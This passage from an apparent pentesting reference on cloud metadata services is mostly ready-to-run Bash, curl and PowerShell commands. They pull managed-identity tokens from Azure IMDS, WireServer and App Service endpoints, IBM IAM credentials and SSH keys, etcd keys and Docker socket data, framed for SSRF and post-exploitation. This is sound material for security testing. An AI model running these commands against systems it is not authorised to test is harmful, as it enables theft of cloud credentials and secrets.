    550 [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
    551 
    552 ## Get management token
    553 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
    554 
    555 ## Get graph token
    556 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
    557 
    558 ## Get vault token
    559 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
    560 
    561 ## Get storage token
    562 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
    563 
    564 
    565 # More Paths
    566 /metadata/instance?api-version=2017-04-02
    567 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
    568 /metadata/instance/compute/userData?api-version=2021-01-01&format=text
    569 ```
    570 
    571 
    572 > [!WARNING]
    573 > Note that the endpoint **`http://169.254.169.254/metadata/v1/instanceinfo` doesn't require the `Metadata: True` header** which is great to show impact in SSRF vulnerabilities in Azure were you cannot add this header.
    574 
    575 ### Azure WireServer & GoalState
    576 
    577 Azure VMs expose **internal platform endpoints** that are used for configuration, metadata retrieval and identity management. Understanding the difference between them is critical for **enumeration, privilege escalation and post-exploitation**.
    578 
    579 ---
    580 
    581 #### Wire Server (Azure Fabric Endpoint)
    582 
    583 The **Azure WireServer** is an internal Azure IP (`168.63.129.16`) used by the platform to communicate with the VM.
    584 
    585 It is responsible for:
    586 
    587 - Communication with the **VM Agent**
    588 - Delivering:
    589   - **GoalState**
    590   - **ExtensionsConfig**
    591   - Internal VM configuration (including identities)
    592 - DHCP & DNS services
    593 - Health monitoring
    594 
    595 ---
    596 
    597 #### GoalState & ExtensionsConfig
    598 
    599 The **GoalState** represents the **desired configuration of the VM** as defined by Azure. It may include:
    600 
    601 - Extensions configuration
    602 - Managed identities
    603 - Provisioning state
    604 - Agent instructions
    605 
    606 The **ExtensionsConfig** contains detailed configuration of VM extensions and may include:
    607 
    608 - **User Assigned Managed Identities**
    609 - Extension settings
    610 - Secrets (depending on extension)
    611 
    612 These endpoints are typically accessed via:
    613 
    614 ```bash
    615 curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/?comp=goalstate
    616 ```
    617 
    618 #### Access Restrictions
    619 
    620 Although the endpoint is reachable from the VM network, **it is not equally accessible from all contexts**.
    621 
    622 **Accessible from**:
    623 
    624 - Azure **VM Agent**
    625 - Azure **Run Command**
    626 - **VM Extensions**
    627 
    628 **Not reliably accessible from**:
    629 
    630 - Interactive SSH sessions (e.g., `azureuser`)
    631 - Unprivileged processes inside the VM
    632 
    633 This is because:
    634 
    635 - The WireServer is designed for **platform-agent communication**
    636 - Requests may require **specific headers, timing, or context**
    637 - Some responses are only available to the **VM Agent execution environment**
    638 
    639 ---
    640 
    641 #### Run Command vs SSH Context
    642 
    643 Azure provides multiple ways to execute commands inside a VM, but **they do not run in the same context**.
    644 
    645 ---
    646 
    647 ##### Run Command
    648 
    649 Run Command is an Azure feature that executes scripts via the **VM Agent**.
    650 
    651 - Uses: `Microsoft.Compute/virtualMachines/runCommand/action`
    652 - Runs with **agent-level privileges**
    653 - Has access to:
    654   - WireServer
    655   - GoalState
    656   - ExtensionsConfig
    657 
    658 Example:
    659 
    660 ```bash
    661 az vm run-command invoke \
    662   --resource-group <rsc-group> \
    663   --name <vm-name> \
    664   --command-id RunShellScript \
    665   --scripts @script.sh
    666 ```
    667 
    668 ##### SSH Session
    669 
    670 When connecting via SSH:
    671 
    672 - Runs as a **regular OS user**
    673 - Uses standard network stack
    674 - Does **NOT have agent-level access**
    675 
    676 As a result:
    677 
    678 - Requests to `168.63.129.16` may fail or return incomplete data
    679 - GoalState may not be accessible
    680 
    681 **Script Examples to get attached managed identities:**
    682 
    683 ### Linux
    684 ```bash
    685 #!/usr/bin/env bash
    686 set -euo pipefail
    687 
    688 ws="http://168.63.129.16"
    689 
    690 echo "[*] Getting Goal State..."
    691 
    692 goal_urls=(
    693   "$ws/?comp=goalstate"
    694   "$ws/machine?comp=goalstate"
    695   "$ws/machine/?comp=goalstate"
    696 )
    697 
    698 goal_xml=""
    699 for url in "${goal_urls[@]}"; do
    700   if goal_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$url" 2>/dev/null)"; then
    701     echo "[+] GoalState OK via $url"
    702     break
    703   fi
    704 done
    705 
    706 if [[ -z "$goal_xml" ]]; then
    707   echo "[-] No GoalState endpoint responded"
    708   exit 1
    709 fi
    710 
    711 ext_url="$(
    712   GOAL_XML="$goal_xml" python3 - <<'PY'
    713 import os
    714 import xml.etree.ElementTree as ET
    715 
    716 xml = os.environ["GOAL_XML"].strip()
    717 root = ET.fromstring(xml)
    718 
    719 def lname(tag):
    720     return tag.rsplit("}", 1)[-1]
    721 
    722 for el in root.iter():
    723     if lname(el.tag) == "ExtensionsConfig" and (el.text or "").strip():
    724         print(el.text.strip())
    725         break
    726 PY
    727 )"
    728 
    729 if [[ -z "$ext_url" ]]; then
    730   echo "[-] No ExtensionsConfig URL found in GoalState"
    731   echo "[*] Identity-like nodes seen in GoalState:"
    732   GOAL_XML="$goal_xml" python3 - <<'PY'
    733 import os
    734 import xml.etree.ElementTree as ET
    735 
    736 xml = os.environ["GOAL_XML"].strip()
    737 root = ET.fromstring(xml)
    738 
    739 def lname(tag):
    740     return tag.rsplit("}", 1)[-1]
    741 
    742 found = False
    743 for el in root.iter():
    744     name = lname(el.tag)
    745     if "Identity" in name:
    746         found = True
    747         text = (el.text or "").strip()
    748         print(f"<{name}>{text}</{name}>")
    749 
    750 if not found:
    751     print("    (none)")
    752 PY
    753   exit 0
    754 fi
    755 
    756 echo "[*] Getting ExtensionsConfig..."
    757 ext_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ext_url")"
    758 
    759 EXT_XML="$ext_xml" python3 - <<'PY'
    760 import os
    761 import xml.etree.ElementTree as ET
    762 
    763 xml = os.environ["EXT_XML"].strip()
    764 root = ET.fromstring(xml)
    765 
    766 def lname(tag):
    767     return tag.rsplit("}", 1)[-1]
    768 
    769 ids = [el for el in root.iter() if lname(el.tag) == "UserAssignedIdentity"]
    770 
    771 if not ids:
    772     print("[-] No UserAssignedIdentity nodes found")
    773     print("[*] Identity-like nodes present in ExtensionsConfig:")
    774     shown = False
    775     for el in root.iter():
    776         name = lname(el.tag)
    777         if "Identity" in name:
    778             shown = True
    779             text = (el.text or "").strip()
    780             attrs = " ".join(f'{k}="{v}"' for k, v in el.attrib.items())
    781             if attrs:
    782                 print(f"    <{name} {attrs}>{text}</{name}>")
    783             else:
    784                 print(f"    <{name}>{text}</{name}>")
    785     if not shown:
    786         print("    (none)")
    787     raise SystemExit(0)
    788 
    789 for idnode in ids:
    790     client_id = ""
    791     object_id = ""
    792     resource_id = ""
    793 
    794     for child in idnode.iter():
    795         name = lname(child.tag)
    796         text = (child.text or "").strip()
    797         if name == "IdentityClientId":
    798             client_id = text
    799         elif name == "IdentityObjectId":
    800             object_id = text
    801         elif name == "IdentityResourceId":
    802             resource_id = text
    803 
    804     print()
    805     print("[+] Managed Identity:")
    806     print(f"    ClientId   : {client_id}")
    807     print(f"    ObjectId   : {object_id}")
    808     print(f"    ResourceId : {resource_id}")
    809 PY
    810 ```
    811 
    812 ### Windows
    813 ```bash
    814 $ws = "http://168.63.129.16"
    815 $h  = @{
    816     "x-ms-version" = "2012-11-30"
    817 }
    818 
    819 Write-Host "[*] Getting Goal State..." -ForegroundColor Cyan
    820 
    821 $goalUrls = @(
    822     "$ws/?comp=goalstate",
    823     "$ws/machine?comp=goalstate",
    824     "$ws/machine/?comp=goalstate"
    825 )
    826 
    827 $gs = $null
    828 
    829 foreach ($url in $goalUrls) {
    830     try {
    831         $gs = Invoke-WebRequest -Uri $url -Headers $h -UseBasicParsing -ErrorAction Stop
    832         Write-Host "[+] GoalState OK via $url" -ForegroundColor Green
    833         break
    834     } catch {}
    835 }
    836 
    837 if (-not $gs) {
    838     Write-Host "[-] No GoalState endpoint responded" -ForegroundColor Red
    839     return
    840 }
    841 
    842 [xml]$xml = $gs.Content
    843 $cfg = $xml.GoalState.Container.RoleInstanceList.RoleInstance.Configuration
    844 
    845 $extUrl = $cfg.ExtensionsConfig
    846 
    847 Write-Host "[*] Getting ExtensionsConfig..." -ForegroundColor Cyan
    848 
    849 try {
    850     $ext = Invoke-WebRequest -Uri $extUrl -Headers $h -UseBasicParsing -ErrorAction Stop
    851     [xml]$extXml = $ext.Content
    852 } catch {
    853     Write-Host "[-] Error getting ExtensionsConfig" -ForegroundColor Red
    854     return
    855 }
    856 
    857 # Extract Managed Identity info
    858 $ids = $extXml.SelectNodes("//UserAssignedIdentity")
    859 
    860 if (!$ids) {
    861     Write-Host "[-] No User Assigned Identities found" -ForegroundColor Red
    862     return
    863 }
    864 
    865 foreach ($id in $ids) {
    866     $clientId   = $id.IdentityClientId
    867     $objectId   = $id.IdentityObjectId
    868     $resourceId = $id.IdentityResourceId
    869 
    870     Write-Host "`n[+] Managed Identity:" -ForegroundColor Green
    871     Write-Host "    ClientId   : $clientId"
    872     Write-Host "    ObjectId   : $objectId"
    873     Write-Host "    ResourceId : $resourceId"
    874 }
    875 ```
    876 
    877 
    878 ### Azure App & Functions Services & Automation Accounts
    879 
    880 From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server.
    881 
    882 Most of the time, you want a token for one of these resources:
    883 
    884 - [https://storage.azure.com](https://storage.azure.com/)
    885 - [https://vault.azure.net](https://vault.azure.net/)
    886 - [https://graph.microsoft.com](https://graph.microsoft.com/)
    887 - [https://management.azure.com](https://management.azure.com/)
    888 
    889 > [!CAUTION]
    890 > The same selector rule applies through an App Service or Functions identity endpoint: add `object_id`, `client_id`, or `msi_res_id` for a user-assigned identity, or omit them to request the default identity ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)).
    891 
    892 ### Bash
    893 ```bash
    894 # Check for those env vars to know if you are in an Azure app
    895 echo $IDENTITY_HEADER
    896 echo $IDENTITY_ENDPOINT
    897 
    898 # (Fingerprint) You should also be able to find the folder:
    899 ls /opt/microsoft
    900 
    901 # Get management token
    902 curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
    903 # Get graph token
    904 curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
    905 # Get vault token
    906 curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
    907 # Get storage token
    908 curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
    909 ```
    910 
    911 ### PS
    912 ```bash
    913 # Define the API version
    914 $API_VERSION = "2019-08-01"
    915 
    916 # Function to get a token for a specified resource
    917 function Get-Token {
    918     param (
    919         [string]$Resource
    920     )
    921     $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
    922     $headers = @{
    923         "X-IDENTITY-HEADER" = $IDENTITY_HEADER
    924     }
    925     try {
    926         $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
    927         $response.access_token
    928     } catch {
    929         Write-Error "Error obtaining token for $Resource: $_"
    930     }
    931 }
    932 
    933 # Get Management Token
    934 $managementToken = Get-Token -Resource "https://management.azure.com/"
    935 Write-Host "Management Token: $managementToken"
    936 
    937 # Get Graph Token
    938 $graphToken = Get-Token -Resource "https://graph.microsoft.com/"
    939 Write-Host "Graph Token: $graphToken"
    940 
    941 # Get Vault Token
    942 $vaultToken = Get-Token -Resource "https://vault.azure.net/"
    943 Write-Host "Vault Token: $vaultToken"
    944 
    945 # Get Storage Token
    946 $storageToken = Get-Token -Resource "https://storage.azure.com/"
    947 Write-Host "Storage Token: $storageToken"
    948 
    949 
    950 # Using one-liners
    951 
    952 ## Get management token
    953 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
    954 
    955 ## Get graph token
    956 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
    957 
    958 ## Get vault token
    959 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
    960 
    961 ## Get storage token
    962 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
    963 
    964 ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
    965 Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
    966 ```
    967 
    968 
    969 ## IBM Cloud
    970 
    971 > [!WARNING]
    972 > Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
    973 
    974 ```bash
    975 export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
    976   -H "Metadata-Flavor: ibm"\
    977   -H "Accept: application/json"\
    978   -d '{
    979         "expires_in": 3600
    980       }' | jq -r '(.access_token)'`
    981 
    982 # Get instance details
    983 curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
    984 
    985 # Get SSH keys info
    986 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
    987 
    988 # Get SSH keys fingerprints & user data
    989 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
    990 
    991 # Get placement groups
    992 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
    993 
    994 # Get IAM credentials
    995 curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
    996 ```
    997 
    998 Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
    999 
   1000 ## Packetcloud
   1001 
   1002 For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
   1003 
   1004 ## OpenStack/RackSpace
   1005 
   1006 The necessity for a header is not mentioned. Metadata can be accessed through:
   1007 
   1008 - `http://169.254.169.254/openstack`
   1009 
   1010 ## HP Helion
   1011 
   1012 The necessity for a header is not mentioned here either. Metadata is accessible at:
   1013 
   1014 - `http://169.254.169.254/2009-04-04/meta-data/`
   1015 
   1016 ## Oracle Cloud
   1017 
   1018 Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples.<sup>[[2]](#references)</sup> In IMDSv2:
   1019 
   1020 - Requests go to `http://169.254.169.254/opc/v2/`
   1021 - Requests must include the header `Authorization: Bearer Oracle`
   1022 - Requests carrying `Forwarded`, `X-Forwarded-For`, or `X-Forwarded-Host` are rejected
   1023 - If the instance is configured to only allow IMDSv2, the old `/opc/v1` and `/openstack` paths return `404`
   1024 
   1025 Interesting endpoints:
   1026 
   1027 ```bash
   1028 curl -s -H "Authorization: Bearer Oracle" \
   1029   http://169.254.169.254/opc/v2/instance/
   1030 
   1031 curl -s -H "Authorization: Bearer Oracle" \
   1032   http://169.254.169.254/opc/v2/vnics/
   1033 ```
   1034 
   1035 So, from an SSRF perspective, OCI now behaves much closer to the hardened cloud metadata services that require a **mandatory header** and explicitly reject common **forwarded-header proxy patterns**.
   1036 
   1037 ## Alibaba
   1038 
   1039 Alibaba offers endpoints for accessing metadata, including instance and image IDs:
   1040 
   1041 - `http://100.100.100.200/latest/meta-data/`
   1042 - `http://100.100.100.200/latest/meta-data/instance-id`
   1043 - `http://100.100.100.200/latest/meta-data/image-id`
   1044 
   1045 ## Kubernetes ETCD
   1046 
   1047 Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
   1048 
   1049 - `curl -L http://127.0.0.1:2379/version`
   1050 - `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
   1051 
   1052 ## Docker
   1053 
   1054 Docker metadata can be accessed locally, with examples given for container and image information retrieval:
   1055 
   1056 - Simple example to access containers and images metadata via the Docker socket:
   1057   - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
   1058   - Inside the container, use curl with the Docker socket:
   1059     - `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
   1060     - `curl --unix-socket /var/run/docker.sock http://foo/images/json`
   1061 
   1062 ## Rancher
   1063 
   1064 Rancher's metadata can be accessed using:
   1065 
   1066 - `curl http://rancher-metadata/<version>/<path>`
   1067 
   1068 
   1069 ## References
   1070 
   1071 - [1] [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html)
   1072 - [2] [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)